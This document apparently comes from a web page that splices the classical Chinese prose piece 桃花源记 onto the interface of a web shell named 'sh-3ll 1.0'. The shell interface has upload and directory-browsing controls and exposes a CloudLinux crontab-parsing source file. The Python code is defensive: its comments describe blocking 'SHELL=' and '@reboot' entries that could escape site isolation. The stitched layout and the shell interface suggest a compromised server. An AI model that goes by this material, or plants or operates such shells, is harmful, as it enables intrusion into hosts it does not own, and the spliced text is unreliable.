晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/cloudlinux/venv/lib64/python3.11/site-packages/clcagefslib/webisolation/crontab/
Upload File :
Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/clcagefslib/webisolation/crontab/parser.py
# -*- coding: utf-8 -*-
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2025 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT
#
"""Parsing and serialization functions for crontab entries."""

from .constants import (
    CRON_ENV_ASSIGNMENT_PATTERN,
    CRON_NICKNAME_PATTERN,
    CRON_SCHEDULE_PATTERN,
    WEBSITE_CRON_BEGIN_PATTERN,
    WEBSITE_CRON_END_PATTERN,
)
from .structure import (
    BeginWebsite,
    CommentLine,
    CrontabEntry,
    CrontabStructure,
    EndWebsite,
    EnvAssignmentLine,
    ParsedCrontabLine,
)


# Defense-in-depth reset lines emitted at the top of every docroot section
# whenever the global scope carries any env-assignment. crond honours
# env-assignment lines in textual order (per crontab(5)) for all following
# jobs, so a user-supplied `SHELL=/path/to/fake` in global_records would apply
# to the wrapped docroot jobs below it and let a caller-controlled interpreter
# defeat the isolation wrapper. Reset the interpreter-selection knobs to safe
# defaults at the top of each wrapped section so the global assignment cannot
# reach the docroot jobs textually below. See F-31 / CLOS-5418.
_DOCROOT_ENV_RESET_LINES: tuple[bytes, ...] = (
    b"SHELL=/bin/bash\n",
    b"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin\n",
    b"BASH_ENV=\n",
)


def parse_crontab_line(line: bytes) -> CrontabEntry:
    """
    Parse a crontab line into a cron entry, comment, or website marker.

    Args:
        line: A single line from crontab output (bytes)

    """
    stripped = line.strip()

    # Check for website cron begin marker
    begin_match = WEBSITE_CRON_BEGIN_PATTERN.match(stripped)
    if begin_match:
        docroot_bytes = begin_match.group(1).strip()
        docroot = docroot_bytes.decode("utf-8", errors="replace")
        return BeginWebsite(docroot=docroot)

    # Check for website cron end marker
    if WEBSITE_CRON_END_PATTERN.match(stripped):
        return EndWebsite()

    # Handle empty lines and comments
    if not stripped:
        return CommentLine(content=line)
    if stripped.startswith(b"#"):
        return CommentLine(content=line)

    # Environment-assignment line (`name = value`) — must be classified
    # distinctly from comments so the wrap step can drop these in per-site
    # sections; otherwise crond honours them and a user-supplied `SHELL=`
    # would run before the isolation wrapper for following job lines.
    if CRON_ENV_ASSIGNMENT_PATTERN.match(stripped):
        return EnvAssignmentLine(content=line)

    # Nickname schedule (`@hourly command`, `@reboot command`, ...) — a
    # single-token cron(5) schedule form the 5-field CRON_SCHEDULE_PATTERN
    # below never matches. Without this branch such lines fall through to
    # CommentLine and skip the wrap loop in process_save, letting a
    # site-scoped caller plant a nickname job that crond executes without
    # the cagefs_enter_site confinement. Classify as ParsedCrontabLine so
    # the wrap loop treats it like any other schedule/command pair.
    nickname_match = CRON_NICKNAME_PATTERN.match(stripped)
    if nickname_match:
        schedule = nickname_match.group(1)
        command = nickname_match.group(2)
        if line.endswith(b"\n"):
            command += b"\n"
        return ParsedCrontabLine(schedule=schedule, command=command)

    # Try to match cron schedule + command
    schedule_match = CRON_SCHEDULE_PATTERN.match(stripped)
    if not schedule_match:
        return CommentLine(content=line)

    schedule = schedule_match.group(1)
    command = schedule_match.group(2)

    if line.endswith(b"\n"):
        command += b"\n"

    return ParsedCrontabLine(
        schedule=schedule,
        command=command,
    )


def parse_crontab_structure(input_data: bytes) -> CrontabStructure:
    """
    Parse crontab file into structured format with user records and docroot sections.

    Supports both old format (with isolation wrapper prefixes) and new format
    (with section markers).

    Args:
        input_data: bytes containing crontab entries

    Returns:
        CrontabStructure: Structure containing global_records and docroot_sections
    """

    lines = input_data.splitlines(keepends=True)

    crontab_records: dict[
        str | None,
        list[CrontabEntry],
    ] = {}
    current_docroot: str | None = None

    for line in lines:
        parsed = parse_crontab_line(line)

        if isinstance(parsed, BeginWebsite):
            current_docroot = parsed.docroot
            continue

        if isinstance(parsed, EndWebsite):
            current_docroot = None
            continue

        crontab_records.setdefault(current_docroot, []).append(parsed)

    global_records = crontab_records.pop(None, [])
    return CrontabStructure(
        global_records=global_records,
        docroot_sections=crontab_records,
    )


def write_crontab_structure(structure: CrontabStructure) -> bytes:
    """
    Write crontab structure to bytes in new format.

    Format:
    - User records at the top
    - Then docroot sections with markers:
      ## WEBSITE CRON BEGIN /path/to/docroot
      ... entries ...
      ## WEBSITE CRON END

    Args:
        structure: CrontabStructure with user_records and docroot_sections

    Returns:
        bytes: Crontab content in new format
    """
    result_parts = entries_to_str_list(structure.global_records)

    # F-31: only pay the reset when a global env-assignment is actually
    # present to bleed. Without one, crond has nothing to carry across the
    # section marker and the reset would be visible noise inside `crontab -l`
    # for docroot cages.
    needs_env_reset = any(
        isinstance(entry, EnvAssignmentLine) for entry in structure.global_records
    )

    # Add docroot sections (preserve insertion order)
    for docroot in structure.docroot_sections.keys():
        # Strip any EnvAssignmentLine entries from the section body: process_save
        # already refuses to persist them from tenant input, and stripping here
        # keeps the serializer idempotent — otherwise a section that we
        # ourselves reset-prefixed on a previous write would re-parse those
        # reset lines as section EnvAssignmentLine entries, and each subsequent
        # write would prepend another set, growing without bound.
        entries = [
            entry
            for entry in structure.docroot_sections[docroot]
            if not isinstance(entry, EnvAssignmentLine)
        ]
        if not entries:
            continue
        if '\n' in docroot or '\r' in docroot:
            raise ValueError(f'Invalid docroot: {docroot!r}')
        result_parts.append(f"## WEBSITE CRON BEGIN {docroot}\n".encode("utf-8"))
        if needs_env_reset:
            result_parts.extend(_DOCROOT_ENV_RESET_LINES)
        result_parts.extend(entries_to_str_list(entries))
        result_parts.append(b"## WEBSITE CRON END\n")

    return b"".join(result_parts)


def entries_to_str_list(entries: list[CrontabEntry], without_wrapper: bool = False) -> list[bytes]:
    """
    Converts parsed crontab entries into a string list.
    """
    lines = []
    for entry in entries:
        if isinstance(entry, ParsedCrontabLine):
            line = (
                entry.schedule
                + b" "
                + (entry.get_clean_command() if without_wrapper else entry.command)
            )
            if not line.endswith(b"\n"):
                line += b"\n"
            lines.append(line)
        elif isinstance(entry, CommentLine):
            lines.append(entry.content)
        elif isinstance(entry, EnvAssignmentLine):
            lines.append(entry.content)
    return lines